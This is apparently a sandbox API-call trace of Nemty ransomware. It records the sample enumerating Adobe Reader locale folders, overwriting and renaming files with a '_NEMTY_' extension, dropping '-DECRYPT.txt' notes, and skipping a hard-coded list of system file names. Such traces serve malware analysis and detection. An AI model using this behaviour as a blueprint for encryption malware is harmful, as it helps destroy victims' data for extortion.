[0177.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.823] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.823] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Weblink.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\weblink.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.824] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28160) returned 1 [0177.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e00) returned 0x6352c48 [0177.824] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.824] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e00, lpOverlapped=0x0) returned 1 [0177.827] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.827] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e00, lpOverlapped=0x0) returned 1 [0177.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.827] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00 [0177.827] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.827] CloseHandle (hObject=0x2e8) returned 1 [0177.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0177.827] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.828] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0177.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0177.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0177.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.828] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Weblink.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\weblink.hrv"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Weblink.HRV._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\weblink.hrv._nemty_kgobjgd_")) returned 1 [0177.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.828] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6077d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1d6077d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d6077d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0177.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0177.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0177.828] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0177.829] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0177.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0177.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0177.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0177.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0177.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.829] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0177.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0177.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0177.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.830] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d6077d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1d6077d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d6077d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0177.830] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0177.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0177.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0177.830] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x832c8320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x832c8320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="hu_HU", cAlternateFileName="")) returned 1 [0177.830] lstrcmpiW (lpString1="hu_HU", lpString2=".") returned 1 [0177.830] lstrcmpiW (lpString1="hu_HU", lpString2="..") returned 1 [0177.830] lstrcmpiW (lpString1="hu_HU", lpString2="...") returned 1 [0177.830] lstrcmpiW (lpString1="hu_HU", lpString2="windows") returned -1 [0177.830] lstrcmpiW (lpString1="hu_HU", lpString2="$RECYCLE.BIN") returned 1 [0177.830] lstrcmpiW (lpString1="hu_HU", lpString2="rsa") returned -1 [0177.830] lstrcmpiW (lpString1="hu_HU", lpString2="NTDETECT.COM") returned -1 [0177.830] lstrcmpiW (lpString1="hu_HU", lpString2="ntldr") returned -1 [0177.830] lstrcmpiW (lpString1="hu_HU", lpString2="MSDOS.SYS") returned -1 [0177.830] lstrcmpiW (lpString1="hu_HU", lpString2="IO.SYS") returned -1 [0177.830] lstrcmpiW (lpString1="hu_HU", lpString2="boot.ini") returned 1 [0177.830] lstrcmpiW (lpString1="hu_HU", lpString2="boot.ini") returned 1 [0177.830] lstrcmpiW (lpString1="hu_HU", lpString2="AUTOEXEC.BAT") returned 1 [0177.830] lstrcmpiW (lpString1="hu_HU", lpString2="ntuser.dat") returned -1 [0177.830] lstrcmpiW (lpString1="hu_HU", lpString2="desktop.ini") returned 1 [0177.831] lstrcmpiW (lpString1="hu_HU", lpString2="CONFIG.SYS") returned 1 [0177.831] lstrcmpiW (lpString1="hu_HU", lpString2="RECYCLER") returned -1 [0177.831] lstrcmpiW (lpString1="hu_HU", lpString2="BOOTSECT.BAK") returned 1 [0177.831] lstrcmpiW (lpString1="hu_HU", lpString2="bootmgr") returned 1 [0177.831] lstrcmpiW (lpString1="hu_HU", lpString2="programdata") returned -1 [0177.831] lstrcmpiW (lpString1="hu_HU", lpString2="appdata") returned 1 [0177.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hu_HU", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hu_HU", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hu_HU", lpUsedDefaultChar=0x0) returned 5 [0177.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hu_HU", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.831] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hu_HU", cchWideChar=5, lpMultiByteStr=0x653ebd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hu_HU", lpUsedDefaultChar=0x0) returned 5 [0177.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0177.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0177.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0177.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0177.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.831] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0177.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0177.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0177.831] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0177.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0177.834] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.834] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0177.835] CloseHandle (hObject=0x254) returned 1 [0177.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0177.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0177.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0177.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0177.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0177.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0177.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.835] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0177.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.835] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0177.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.836] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.836] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0177.837] CloseHandle (hObject=0x254) returned 1 [0177.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0177.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.837] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1da31e50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1da31e50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0177.837] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0177.837] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d7bb9a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1da31e50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1da31e50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0177.837] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0177.837] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0177.837] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db73c00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.HUN", cAlternateFileName="ACCESS~1.HUN")) returned 1 [0177.837] lstrcmpiW (lpString1="accessibility.HUN", lpString2=".") returned 1 [0177.837] lstrcmpiW (lpString1="accessibility.HUN", lpString2="..") returned 1 [0177.837] lstrcmpiW (lpString1="accessibility.HUN", lpString2="...") returned 1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="windows") returned -1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="$RECYCLE.BIN") returned 1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="rsa") returned -1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="NTDETECT.COM") returned -1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="ntldr") returned -1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="MSDOS.SYS") returned -1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="IO.SYS") returned -1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="boot.ini") returned -1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="boot.ini") returned -1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="AUTOEXEC.BAT") returned -1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="ntuser.dat") returned -1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", lpString2="desktop.ini") returned -1 [0177.838] lstrcmpiW (lpString1="accessibility.HUN", 